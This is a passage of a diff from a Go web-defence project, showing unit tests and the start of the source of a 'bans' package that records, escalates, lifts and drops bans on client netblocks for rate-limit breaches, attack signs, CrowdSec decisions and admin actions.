netblock := netip.MustParsePrefix("203.0.113.0/24")
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger.Load([]bans.Ban{{Netblock: netblock, Start: midnight()}})
|
||||
|
||||
if got := ledger.Bans(netblock)[0].Cause; got != bans.CauseAdmin {
|
||||
t.Errorf("the ban's cause is %q, want admin", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
params := defaultParams()
|
||||
params.MaxBans = 1
|
||||
ledger := bans.New(params)
|
||||
adminsOnly := netip.MustParsePrefix("198.51.100.0/24")
|
||||
both := netip.MustParsePrefix("203.0.113.1/32")
|
||||
second := netip.MustParsePrefix("203.0.113.2/32")
|
||||
third := netip.MustParsePrefix("203.0.113.3/32")
|
||||
|
||||
// Seen longest ago, a netblock with two of an admin's bans alone, and
|
||||
// then one with an admin's ban before a ban sww made: the one
|
||||
// ban counted toward MaxBans.
|
||||
ledger.Load([]bans.Ban{
|
||||
{Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
|
||||
{Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin},
|
||||
{Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin},
|
||||
{
|
||||
Netblock: both,
|
||||
Start: midnight(),
|
||||
Expires: midnight().Add(time.Hour),
|
||||
Cause: bans.CauseLimit,
|
||||
},
|
||||
})
|
||||
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 2})
|
||||
|
||||
// A new ban drops the ban sww made, and only that one.
|
||||
ledger.BanForLimit(second, midnight(), bans.Notes{})
|
||||
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
|
||||
|
||||
if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
|
||||
t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both))
|
||||
}
|
||||
|
||||
// And the next drops that one.
|
||||
ledger.BanForLimit(third, midnight(), bans.Notes{})
|
||||
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
|
||||
}
|
||||
|
||||
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
params := defaultParams()
|
||||
params.MaxBans = 2
|
||||
ledger := bans.New(params)
|
||||
netblock := netip.MustParsePrefix("203.0.113.1/32")
|
||||
other := netip.MustParsePrefix("203.0.113.2/32")
|
||||
|
||||
// An admin bans the netblock for a minute, and it then breaks a limit
|
||||
// twice, each time after its last ban has ended.
|
||||
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
|
||||
"probes for logins")
|
||||
first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
|
||||
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
|
||||
|
||||
// A ban on another netblock fills the ledger, and the netblock's first
|
||||
// ban for a limit, its earliest that is not an admin's, goes.
|
||||
ledger.BanForLimit(other, second.Start, bans.Notes{})
|
||||
wantBans(t, ledger, map[netip.Prefix]int{netblock: 2, other: 1})
|
||||
|
||||
// The netblock's next ban still counts it.
|
||||
third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
|
||||
if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 2, Admin: 1}) {
|
||||
t.Errorf("the third ban for a limit has earlier bans %+v, "+
|
||||
"want 2 for a limit and 1 an admin's", third.Notes.EarlierBans)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
netblock := netip.MustParsePrefix("203.0.113.1/32")
|
||||
|
||||
// The netblock breaks a limit twice, the second time after its first
|
||||
// ban has ended, and the second ban's notes count the first. An admin
|
||||
// then keeps the first ban.
|
||||
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
|
||||
|
||||
kept := first
|
||||
kept.Cause = bans.CauseAdmin
|
||||
ledger.LoadEdit([]bans.Ban{kept, second})
|
||||
|
||||
// The netblock's next ban counts the kept ban once, as an admin's.
|
||||
third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
|
||||
if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Admin: 1}) {
|
||||
t.Errorf("the third ban for a limit has earlier bans %+v, "+
|
||||
"want 1 for a limit and 1 an admin's", third.Notes.EarlierBans)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReasonOfTheBansSwwMakes(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
|
||||
limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
|
||||
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
|
||||
byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"),
|
||||
midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"})
|
||||
attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(),
|
||||
bans.Notes{RuleID: "git-dir", Target: "path"})
|
||||
|
||||
for _, tc := range []struct{ got, want string }{
|
||||
{limit.Reason, "requests per minute over the limit of 1000"},
|
||||
{byteLimit.Reason, "bytes per hour over the limit of 10737418240"},
|
||||
{attack.Reason, "matched the rule git-dir"},
|
||||
} {
|
||||
if tc.got != tc.want {
|
||||
t.Errorf("the reason is %q, want %q", tc.got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// An hour's ban lifted ten minutes after it started.
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
lifted := bans.Ban{
|
||||
Netblock: netblock,
|
||||
Start: midnight(),
|
||||
Expires: midnight().Add(time.Hour),
|
||||
Cause: bans.CauseLimit,
|
||||
Lifted: midnight().Add(10 * time.Minute),
|
||||
}
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger.Load([]bans.Ban{lifted})
|
||||
|
||||
// While it would still last, it refuses nothing, and a limit broken
|
||||
// bans for an hour, as a first broken limit does; the lifted ban is
|
||||
// kept, and counted among the earlier bans.
|
||||
now := midnight().Add(30 * time.Minute)
|
||||
|
||||
_, banned, _ := ledger.Check(netblock.Addr(), now)
|
||||
if banned {
|
||||
t.Error("the lifted ban refuses")
|
||||
}
|
||||
|
||||
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||
if ban.Expires.Sub(ban.Start) != time.Hour ||
|
||||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||
t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
|
||||
ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
|
||||
}
|
||||
|
||||
held := ledger.Bans(netblock)
|
||||
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
|
||||
t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// A permanent ban for a clear sign of attack, lifted.
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger.Load([]bans.Ban{{
|
||||
Netblock: netblock,
|
||||
Start: midnight(),
|
||||
Cause: bans.CauseAttack,
|
||||
Lifted: midnight().Add(time.Hour),
|
||||
}})
|
||||
|
||||
now := midnight().Add(2 * time.Hour)
|
||||
|
||||
_, banned, _ := ledger.Find(netblock.Addr(), now)
|
||||
if banned {
|
||||
t.Error("the lifted ban refuses")
|
||||
}
|
||||
|
||||
active, permanent := ledger.Count(now)
|
||||
if active != 0 || permanent != 0 {
|
||||
t.Errorf("%d bans are active and %d permanent, want none", active, permanent)
|
||||
}
|
||||
|
||||
// The next clear sign of attack bans for seven days, as a first does.
|
||||
ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
|
||||
if ban.Expires.Sub(ban.Start) != 7*day {
|
||||
t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
|
||||
bans.Notes{})
|
||||
atStart := bans.Ban{
|
||||
Netblock: netip.MustParsePrefix("203.0.113.2/32"),
|
||||
Start: midnight(),
|
||||
}
|
||||
|
||||
// The bans read at the start were made before it.
|
||||
ledger.Load([]bans.Ban{made, atStart})
|
||||
|
||||
if got := ledger.Made(bans.CauseAdmin); got != 0 {
|
||||
t.Fatalf("%d bans made by an admin after the start's, want none", got)
|
||||
}
|
||||
|
||||
// The admin keeps the ban sww made, keeps the one read at the
|
||||
// start, and adds one without a cause: that one alone is made.
|
||||
kept := made
|
||||
kept.Cause = bans.CauseAdmin
|
||||
added := bans.Ban{
|
||||
Netblock: netip.MustParsePrefix("203.0.113.3/32"),
|
||||
Start: midnight(),
|
||||
}
|
||||
ledger.LoadEdit([]bans.Ban{kept, atStart, added})
|
||||
|
||||
if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 {
|
||||
t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each",
|
||||
ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit))
|
||||
}
|
||||
}
|
||||
|
||||
func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
netblock := netip.MustParsePrefix("203.0.113.0/24")
|
||||
ledger := bans.New(defaultParams())
|
||||
|
||||
// An hour's ban for a broken limit.
|
||||
ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||
wantChanged(t, ledger, true)
|
||||
|
||||
// A minute later an admin bans the netblock for good, named by an
|
||||
// address in it: that ban is made, and counts the other among the
|
||||
// earlier bans.
|
||||
now := midnight().Add(time.Minute)
|
||||
want := bans.Ban{
|
||||
Netblock: netblock,
|
||||
Start: now,
|
||||
Cause: bans.CauseAdmin,
|
||||
Reason: "probes for logins",
|
||||
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
|
||||
}
|
||||
|
||||
got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
|
||||
"probes for logins")
|
||||
if !reflect.DeepEqual(got, want) {
|
||||
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
|
||||
}
|
||||
|
||||
wantChanged(t, ledger, true)
|
||||
|
||||
if made := ledger.Made(bans.CauseAdmin); made != 1 {
|
||||
t.Errorf("%d bans made by an admin, want 1", made)
|
||||
}
|
||||
|
||||
// It refuses once the ban for the limit has ended.
|
||||
ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
|
||||
if !banned || !reflect.DeepEqual(ban, want) {
|
||||
t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
|
||||
ban, banned, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
client := netip.MustParseAddr("203.0.113.9")
|
||||
own := netip.MustParsePrefix("203.0.113.9/32")
|
||||
wide := netip.MustParsePrefix("203.0.113.0/24")
|
||||
other := netip.MustParsePrefix("203.0.113.10/32")
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger.Load([]bans.Ban{
|
||||
// Ended an hour ago.
|
||||
{
|
||||
Netblock: own, Start: midnight().Add(-2 * time.Hour),
|
||||
Expires: midnight().Add(-time.Hour), Cause: bans.CauseLimit,
|
||||
},
|
||||
// Active, on the client's address and on its /24.
|
||||
{
|
||||
Netblock: own, Start: midnight(), Expires: midnight().Add(time.Hour),
|
||||
Cause: bans.CauseLimit,
|
||||
},
|
||||
{Netblock: wide, Start: midnight(), Cause: bans.CauseAdmin},
|
||||
// Another client's.
|
||||
{Netblock: other, Start: midnight(), Cause: bans.CauseAdmin},
|
||||
})
|
||||
|
||||
now := midnight().Add(time.Minute)
|
||||
|
||||
lifted := ledger.Lift(client, now)
|
||||
if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now {
|
||||
t.Errorf("lifted %+v, want the two active bans covering the client", lifted)
|
||||
}
|
||||
|
||||
wantChanged(t, ledger, true)
|
||||
|
||||
if _, banned, _ := ledger.Check(client, now); banned {
|
||||
t.Error("the client is still banned")
|
||||
}
|
||||
|
||||
if _, banned, _ := ledger.Check(other.Addr(), now); !banned {
|
||||
t.Error("the other client's ban was lifted")
|
||||
}
|
||||
|
||||
// The lifted bans are kept, and the one that had ended is not lifted.
|
||||
covering := ledger.Covering(client)
|
||||
if len(covering) != 3 || covering[0].Netblock != wide ||
|
||||
!covering[1].Lifted.IsZero() || covering[2].Lifted != now {
|
||||
t.Errorf("the bans covering the client are %+v, want the /24's and both "+
|
||||
"of its own, the earlier not lifted", covering)
|
||||
}
|
||||
|
||||
// With none active, nothing is lifted or changed.
|
||||
if lifted = ledger.Lift(client, now); len(lifted) != 0 {
|
||||
t.Errorf("lifted %+v again", lifted)
|
||||
}
|
||||
|
||||
wantChanged(t, ledger, false)
|
||||
}
|
||||
|
||||
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
client := netip.MustParseAddr("203.0.113.9")
|
||||
ledger := bans.New(defaultParams())
|
||||
|
||||
// The temporary ban is made first, so that its netblock is looked at first.
|
||||
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{})
|
||||
ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{},
|
||||
"for good")
|
||||
|
||||
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
|
||||
}
|
||||
|
||||
func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
netblock := netip.MustParsePrefix("203.0.113.0/24")
|
||||
ledger := bans.New(defaultParams())
|
||||
|
||||
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
|
||||
ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour),
|
||||
"for an hour")
|
||||
|
||||
wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute))
|
||||
}
|
||||
|
||||
// wantPermanentBan checks that Find and Check return a permanent ban for
|
||||
// client at now.
|
||||
func wantPermanentBan(
|
||||
t *testing.T, ledger *bans.Ledger, client netip.Addr, now time.Time,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
for name, look := range map[string]func(netip.Addr, time.Time) (bans.Ban, bool, bool){
|
||||
"Find": ledger.Find,
|
||||
"Check": ledger.Check,
|
||||
} {
|
||||
ban, banned, _ := look(client, now)
|
||||
if !banned || !ban.Permanent() {
|
||||
t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,942 +0,0 @@
|
||||
// Package bans is the ban ledger: the bans sww makes on the
|
||||
// netblocks of clients that break a rate limit, a byte limit or the error
|
||||
// burst, show a clear sign of attack or are listed by the CrowdSec
|
||||
// decision list, and
|
||||
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
|
||||
// describes. The bans are kept in memory, and written to bans.json and
|
||||
// read from it by the state package.
|
||||
package bans
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"math"
|
||||
"net/netip"
|
||||
"slices"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/hashicorp/golang-lru/v2/simplelru"
|
||||
)
|
||||
|
||||
// The causes of bans.
|
||||
const (
|
||||
// CauseLimit is a ban sww made for a broken limit.
|
||||
CauseLimit = "limit"
|
||||
// CauseAttack is a ban sww made for a clear sign of attack.
|
||||
CauseAttack = "attack"
|
||||
// CauseAdmin is a ban an admin made, or one sww made that an
|
||||
// admin keeps. It is never dropped.
|
||||
CauseAdmin = "admin"
|
||||
// CauseCrowdSec is a ban sww made for a client the CrowdSec
|
||||
// decision list lists. It ends when CrowdSec's decision does.
|
||||
CauseCrowdSec = "crowdsec"
|
||||
)
|
||||
|
||||
// repeatFactor is how many times as long as the netblock's last ban a ban
|
||||
// for a limit broken again within the repeat window lasts.
|
||||
const repeatFactor = 3
|
||||
|
||||
// maxTextBytes is how much of each text in a ban's notes is kept.
|
||||
const maxTextBytes = 256
|
||||
|
||||
// Params are how long a ban lasts, and how many bans are held.
|
||||
type Params struct {
|
||||
// LimitBanDuration is how long a first ban for a broken limit lasts.
|
||||
LimitBanDuration time.Duration
|
||||
// LimitBanRepeatWindow is how soon after the end of the netblock's
|
||||
// ban that ended last, other than one for a clear sign of attack or for
|
||||
// CrowdSec's decision, a broken limit counts as a repeat, which bans for
|
||||
// repeatFactor times as long as that ban.
|
||||
LimitBanRepeatWindow time.Duration
|
||||
// MaxBanDuration is the longest ban for a broken limit; one that would
|
||||
// be longer is permanent instead.
|
||||
MaxBanDuration time.Duration
|
||||
// AttackBanDuration is how long a first ban for a clear sign of attack
|
||||
// lasts.
|
||||
AttackBanDuration time.Duration
|
||||
// MaxBans is the most bans held whose cause is not CauseAdmin, at
|
||||
// least one. Past it, the earliest such ban of the netblock that has
|
||||
// gone longest without a request is dropped. Bans whose cause is
|
||||
// CauseAdmin are held besides, and never dropped.
|
||||
MaxBans int
|
||||
}
|
||||
|
||||
// Ban is a ban on a netblock.
|
||||
type Ban struct {
|
||||
Netblock netip.Prefix
|
||||
Start time.Time
|
||||
// Expires is when the ban ends, zero for a permanent ban.
|
||||
Expires time.Time
|
||||
// Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec.
|
||||
Cause string
|
||||
// Reason is a short text: for a ban sww made, the limit broken,
|
||||
// the rule that matched or the scenario of CrowdSec's decision; for an
|
||||
// admin's, what the admin wrote.
|
||||
Reason string
|
||||
// Lifted is when an admin lifted the ban, zero while no admin has. A
|
||||
// lifted ban refuses nothing, and does not make the netblock's next
|
||||
// ban longer.
|
||||
Lifted time.Time
|
||||
Notes Notes
|
||||
}
|
||||
|
||||
// Permanent reports whether the ban never runs out.
|
||||
func (b Ban) Permanent() bool {
|
||||
return b.Expires.IsZero()
|
||||
}
|
||||
|
||||
// ActiveAt reports whether the ban refuses requests at now: it has not
|
||||
// been lifted, and has not run out.
|
||||
func (b Ban) ActiveAt(now time.Time) bool {
|
||||
return b.Lifted.IsZero() && (b.Permanent() || now.Before(b.Expires))
|
||||
}
|
||||
|
||||
// Notes are what an admin needs to decide whether to lift a ban. The
|
||||
// JSON names are those of bans.json.
|
||||
//
|
||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||
type Notes struct {
|
||||
// ASN, ASName and Country are the client's AS number, AS name and
|
||||
// country, when they were looked up: when the request that caused the
|
||||
// ban was made, or when GeoJS answered about the client afterwards.
|
||||
ASN string `json:"asn"`
|
||||
ASName string `json:"as_name"`
|
||||
Country string `json:"country"`
|
||||
// Kind, Limit, Window and Count are, for a ban for a broken limit,
|
||||
// what the limit was on, "requests" for a rate limit, "bytes" for a
|
||||
// byte limit or "refusals" for the error burst, the limit that was
|
||||
// broken, its window, "minute", "hour" or "day", and the count reached:
|
||||
// the client's requests, bytes or refusals in the window, those of the
|
||||
// request that broke the limit included.
|
||||
// These are what counted toward the ban, and the window is the time
|
||||
// over which they came.
|
||||
Kind string `json:"kind,omitempty"`
|
||||
Limit int64 `json:"limit,omitempty"`
|
||||
Window string `json:"window,omitempty"`
|
||||
Count float64 `json:"count,omitempty"`
|
||||
// LimitPercent and LimitPercentSetting are, for a ban for a limit a
|
||||
// biased threshold lowered, the client's percentage of that kind of
|
||||
// limit, of which Limit is the result, and the setting that gave it.
|
||||
// Both are left out for a limit that was not lowered.
|
||||
LimitPercent *int64 `json:"limit_percent,omitempty"`
|
||||
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
|
||||
// RuleID and Target are, for a ban for a clear sign of attack, the id
|
||||
// of the rule file rule that matched, and its target; TrapPath is, for
|
||||
// one for a request for a path in SWW_TRAP_PATHS, that path as the
|
||||
// client sent it.
|
||||
RuleID string `json:"rule_id,omitempty"`
|
||||
Target string `json:"target,omitempty"`
|
||||
TrapPath string `json:"trap_path,omitempty"`
|
||||
// Reputation is the reputation sources that listed the client when
|
||||
// the request that caused the ban was made, in the order the request
|
||||
// log's reputation names them. It is left out when none did.
|
||||
Reputation []ReputationHit `json:"reputation,omitempty"`
|
||||
// Request is the request that broke the limit, or whose bytes broke
|
||||
// it, that was the clear sign of attack, or that came from a client the
|
||||
// CrowdSec decision list lists.
|
||||
Request Request `json:"request"`
|
||||
// Requests is how many requests the netblock has sent since it was
|
||||
// first seen, and Refused how many of them the ban has refused so
|
||||
// far. Both go up with each request the ban refuses.
|
||||
Requests int64 `json:"requests"`
|
||||
Refused int64 `json:"refused"`
|
||||
// EarlierBans is how many bans the netblock had before this one, by
|
||||
// cause.
|
||||
EarlierBans EarlierBans `json:"earlier_bans"`
|
||||
}
|
||||
|
||||
// ReputationHit is a reputation source that listed a client, as a
|
||||
// reputation_hit alert's detail gives it: Source is the URL of the
|
||||
// blocklist or of the CrowdSec decision list, the DNSBL zone with its key
|
||||
// masked, or "abuseipdb", and Score, for AbuseIPDB alone, its score of the
|
||||
// client.
|
||||
type ReputationHit struct {
|
||||
Source string `json:"source"`
|
||||
Score *int64 `json:"score,omitempty"`
|
||||
}
|
||||
|
||||
// EarlierBans counts a netblock's bans before a ban, by cause.
|
||||
type EarlierBans struct {
|
||||
Limit int `json:"limit"`
|
||||
Attack int `json:"attack"`
|
||||
Admin int `json:"admin"`
|
||||
CrowdSec int `json:"crowdsec"`
|
||||
}
|
||||
|
||||
// Request is a request in a ban's notes. Each text is cut to 256 bytes.
|
||||
//
|
||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||
type Request struct {
|
||||
Time time.Time `json:"time"`
|
||||
Method string `json:"method"`
|
||||
Host string `json:"host"`
|
||||
// Path is the path with its query string.
|
||||
Path string `json:"path"`
|
||||
// Status is what the client was sent, 0 if nothing was.
|
||||
Status int `json:"status"`
|
||||
UserAgent string `json:"user_agent"`
|
||||
}
|
||||
|
||||
// Ledger holds the bans. It is safe for concurrent use.
|
||||
type Ledger struct {
|
||||
params Params
|
||||
// changed receives a value when a ban is made, unless one is waiting
|
||||
// already.
|
||||
changed chan struct{}
|
||||
|
||||
mu sync.Mutex
|
||||
// netblocks holds each banned netblock's bans, oldest first. Check and
|
||||
// Find make each netblock they find the most recently seen.
|
||||
netblocks *simplelru.LRU[netip.Prefix, *[]Ban]
|
||||
// held is how many bans netblocks holds whose cause is not CauseAdmin,
|
||||
// at most params.MaxBans.
|
||||
held int
|
||||
// made is how many bans have been made since the start, by cause: by
|
||||
// the ledger, and by an admin, through BanForAdmin or in an edit of
|
||||
// bans.json.
|
||||
made map[string]int
|
||||
// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
|
||||
// netblocks that have been banned. Check looks for a ban at each of
|
||||
// them, so that a ban read from bans.json refuses every client in its
|
||||
// netblock even when it was made with another SWW_BAN_SCOPE_V4_PREFIX,
|
||||
// or another length of an IPv6 client's netblock.
|
||||
v4Lengths, v6Lengths []int
|
||||
}
|
||||
|
||||
// New returns a Ledger with no ban yet.
|
||||
func New(params Params) *Ledger {
|
||||
// The ledger drops bans itself, and never those whose cause is
|
||||
// CauseAdmin, however many there are, so the LRU has no limit of its
|
||||
// own: it keeps the netblocks in the order they were last seen.
|
||||
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil)
|
||||
if err != nil {
|
||||
panic(err) // NewLRU fails only for a size below one
|
||||
}
|
||||
|
||||
return &Ledger{
|
||||
params: params,
|
||||
changed: make(chan struct{}, 1),
|
||||
netblocks: netblocks,
|
||||
made: map[string]int{},
|
||||
}
|
||||
}
|
||||
|
||||
// Changed receives a value after a ban is made, lifted or made permanent,
|
||||
// so that bans.json can be written. Several changes before it is read
|
||||
// leave one value.
|
||||
func (l *Ledger) Changed() <-chan struct{} {
|
||||
return l.changed
|
||||
}
|
||||
|
||||
// Check is called for a request from client, at now. It reports whether
|
||||
// a ban on a netblock client is in is active, and returns that ban, with
|
||||
// the request counted among those it refused. A ban for a clear sign of
|
||||
// attack is made permanent by the request: the netblock is malicious.
|
||||
// The last result reports whether the request made the ban permanent.
|
||||
func (l *Ledger) Check(client netip.Addr, now time.Time) (Ban, bool, bool) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
ban := l.active(client, now)
|
||||
if ban == nil {
|
||||
return Ban{}, false, false
|
||||
}
|
||||
|
||||
ban.Notes.Requests++
|
||||
ban.Notes.Refused++
|
||||
|
||||
madePermanent := ban.Cause == CauseAttack && !ban.Permanent()
|
||||
if madePermanent {
|
||||
ban.Expires = time.Time{}
|
||||
|
||||
l.markChanged()
|
||||
}
|
||||
|
||||
return *ban, true, madePermanent
|
||||
}
|
||||
|
||||
// Find is Check without counting the request among those the ban
|
||||
// refused, and without making the ban permanent: in observe mode a ban
|
||||
// refuses nothing. The last result reports whether Check would have made
|
||||
// the ban permanent.
|
||||
func (l *Ledger) Find(client netip.Addr, now time.Time) (Ban, bool, bool) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
ban := l.active(client, now)
|
||||
if ban == nil {
|
||||
return Ban{}, false, false
|
||||
}
|
||||
|
||||
return *ban, true, ban.Cause == CauseAttack && !ban.Permanent()
|
||||
}
|
||||
|
||||
// activeBan returns the ban in bans, a netblock's bans oldest first, that
|
||||
// is active at now, or nil when none is. If several are, it returns the
|
||||
// newest permanent one, or the newest when none is permanent. Every ban is
|
||||
// looked at, since a ban an admin adds to bans.json can start before the
|
||||
// netblock's others and outlast them.
|
||||
func activeBan(bans []Ban, now time.Time) *Ban {
|
||||
var newest *Ban
|
||||
|
||||
for i := len(bans) - 1; i >= 0; i-- {
|
||||
if !bans[i].ActiveAt(now) {
|
||||
continue
|
||||
}
|
||||
|
||||
if bans[i].Permanent() {
|
||||
return &bans[i]
|
||||
}
|
||||
|
||||
if newest == nil {
|
||||
newest = &bans[i]
|
||||
}
|
||||
}
|
||||
|
||||
return newest
|
||||
}
|
||||
|
||||
// BanForLimit bans netblock at now for a broken limit, with notes, and
|
||||
// returns the ban, and true. A first ban lasts LimitBanDuration. A ban
|
||||
// made within LimitBanRepeatWindow after the netblock's ban that ended
|
||||
// last, other than one for a clear sign of attack or for CrowdSec's
|
||||
// decision, or a lifted one, lasts
|
||||
// repeatFactor times as long as that one. A ban that would be longer
|
||||
// than MaxBanDuration is permanent instead. If a ban on netblock is still
|
||||
// active, as when two of its requests break a limit at once, that ban is
|
||||
// returned with false, and no other is made. The ledger fills in the
|
||||
// notes' Refused and EarlierBans itself, and gives the ban the reason
|
||||
// "<Kind> per <Window> over the limit of <Limit>", from the notes, such
|
||||
// as "requests per minute over the limit of 1000".
|
||||
func (l *Ledger) BanForLimit(
|
||||
netblock netip.Prefix, now time.Time, notes Notes,
|
||||
) (Ban, bool) {
|
||||
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
|
||||
}
|
||||
|
||||
// WouldBanForLimit returns what BanForLimit would, without making the ban:
|
||||
// what observe mode would have done.
|
||||
func (l *Ledger) WouldBanForLimit(
|
||||
netblock netip.Prefix, now time.Time, notes Notes,
|
||||
) (Ban, bool) {
|
||||
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
|
||||
}
|
||||
|
||||
// BanForAttack bans netblock at now for a clear sign of attack, with
|
||||
// notes, and returns the ban, and whether it made it, as BanForLimit
|
||||
// does. A first ban lasts AttackBanDuration; once the netblock has had
|
||||
// one that was not lifted, the next is permanent. Its reason is "matched
|
||||
// the rule <RuleID>", or "asked for the trap path <TrapPath>".
|
||||
func (l *Ledger) BanForAttack(
|
||||
netblock netip.Prefix, now time.Time, notes Notes,
|
||||
) (Ban, bool) {
|
||||
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
|
||||
}
|
||||
|
||||
// WouldBanForAttack returns what BanForAttack would, without making the
|
||||
// ban: what observe mode would have done.
|
||||
func (l *Ledger) WouldBanForAttack(
|
||||
netblock netip.Prefix, now time.Time, notes Notes,
|
||||
) (Ban, bool) {
|
||||
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
|
||||
false)
|
||||
}
|
||||
|
||||
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
|
||||
// decision on the client ends, with notes, and returns the ban, and
|
||||
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
|
||||
// decision for <scenario>", the scenario that made the decision.
|
||||
func (l *Ledger) BanForCrowdSec(
|
||||
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
|
||||
) (Ban, bool) {
|
||||
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
|
||||
true)
|
||||
}
|
||||
|
||||
